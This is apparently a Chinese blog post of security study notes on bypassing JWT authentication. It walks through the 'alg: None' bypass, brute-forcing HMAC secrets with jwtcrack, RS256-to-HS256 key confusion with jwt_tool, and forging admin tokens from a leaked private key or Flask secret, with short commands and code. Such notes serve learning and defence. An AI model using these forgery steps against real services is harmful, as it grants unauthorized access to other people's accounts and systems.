JWT认证绕过

JWT

jwt是一个轻量级的认证规范 对数据进行签名用的

防止数据被篡改

  1. 对数据进行加密 内容对用户敏感,不需要对外
  2. 对数据进行签名 内容不敏感,但是确保不被篡改

JWT是对数据进行签名,防止数据篡改,而不是防止数据被读取
JSON Web Token (JWT)
?username=admin&score=100 别人传递过程中,会对积分进行篡改
?username=admin&score=100&token=c17961f5f372f8cf039113909d715943
? md5(score=100&username=admin)=c17961f5f372f8cf039113909d715943
?score=100&username=admin&token=c17961ff372f8cf039113909d715943
篡改数据的同时,破解了算法,篡改了签名
加盐机制,salt
md5(score=100&username=admin_ctfshow)=20f3fa445b286df3f1a518fcbcd8bbe2

盐值有可能被爆破,也有可能被泄露
增加更高的密码算法,不再简单的md5,盐值也大幅度提高长度,达到几百上千位 来保证我们的数据不被篡改 或者即使篡改了我们能发现
由 Header、Payload、Signature 三部分构成,用点分隔,数据采用Base64URL进行编码

Header是JWT的第一个部分,是一个 JSON 对象,主要声明了JWT的签名算法,如“HS256”、“RS256”等,以及其他可选参数,如“kid”等。

1
2
3
4
{
"alg" : "HS256",
"typ" : "jwt"
}
1
2
3
{
"user" : "Admin"
}

Signature

Signature 是对 Header 和 Payload 进行签名,具体是用什么加密方式写在 Header 的 alg 中。同时拥有该部分的JWT被称为JWS,也就是签了名的JWT。Signature的功能是保护token完整性。

生成方法为将 header 和 payload 两个部分联结起来,然后通过 header 部分指定的算法,计算出签名。抽象成公式就是:

1
signature = HMAC-SHA256(base64urlEncode(header) + '.' + base64urlEncode(payload), secret_key)

值得注意的是,编码 header 和 payload 时使用的编码方式为 base64urlencode,base64url 编码是 base64 的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充”=”号,并将标准 Base64 中的 “+” 和 “/“ 分别改成了 “-“ 和 “_”。

JWT生成-在线网址&工具

1
python3 flask_session_cookie_manager3.py encode -s 'secret_key' -t '{"admin":True,"username":"admin"}'

漏洞点

  1. 当不校验算法时,我们可以替换算法,甚至可以使用空的算法,来达到数据篡改目的:
1
2
3
4
5
6
7
8
9
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "Admin"
}
{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1673703091,"exp":1673710291,"nbf":1673703091,"sub":"admin","jti":"21a3d6eec9efbc030983fbc3650c0f03"}
1
ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0=.ewogICAgInVzZXIiIDogImFkbWluIgp9

JWT 爆破工具地址

https://github.com/brendan-rius/c-jwt-cracker

1
2
docker build . -t jwtcrack
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

密钥混淆攻击

JWT最常用的两种算法是HMAC和RSA。HMAC用同一个密钥对token进行签名和认证。而RSA需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。那么,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改 header 中算法为HS256,然后使用RSA公钥对数据进行签名。

利用方式:jwt_tool

1
python3 jwt_tool.py token_here -pk pubkey -T -S hs256

密钥爆破/泄露

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,这意味着对令牌进行签名的密钥也用于对其进行验证。由于签名验证是一个自包含的过程,因此可以测试令牌本身的有效密钥,而不必将其发送回应用程序进行验证。

因此,jwtcrack破解是JWT破解工具,可以通过穷举的方式暴力破解密钥。如果可以破解HMAC密钥,则可以伪造令牌中的任何内容,这个漏洞将会给系统带来非常严重的后果,所以在加密时不要使用弱密钥进行加密。

jwtcrack

1
./jwtcrack token_here

node安装jwt命令

1
npm install jsonwebtoken

1. 私钥泄露

可以根据私钥生成任意的jwt字符串:

1
2
3
4
5
6
7
const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync('private.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token);

2. 公钥泄露

可以根据公钥,修改算法从非对称算法到对称密钥算法。双方都使用公钥验签,顺利篡改数据。当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密,实现验签通过。

总结加密方式

  1. 非对称加密算法:私钥、公钥。只要两个时匹配,一个私钥加密的文件,用公钥都能解开(验签)。

  2. 对称加密算法:暗号、口令、公钥。

总结jwt攻击

  1. 空密码算法绕过:不验证算法的前提下。
  2. 弱密码绕过:猜测弱密码。
  3. 密码爆破:安装docker,执行jwtcracker。
  4. 私钥泄露:直接利用私钥生成正确jwt字符串,过验签。
  5. 公钥泄露:不验证算法前提下,修改算法为对称加密,通过公钥重新生成对称签名的字符串,实现验签通过。

JWT认证绕过
https://theganlove.github.io/2024/08/31/jwt等认证went/
作者
uert
发布于
2024年8月31日
许可协议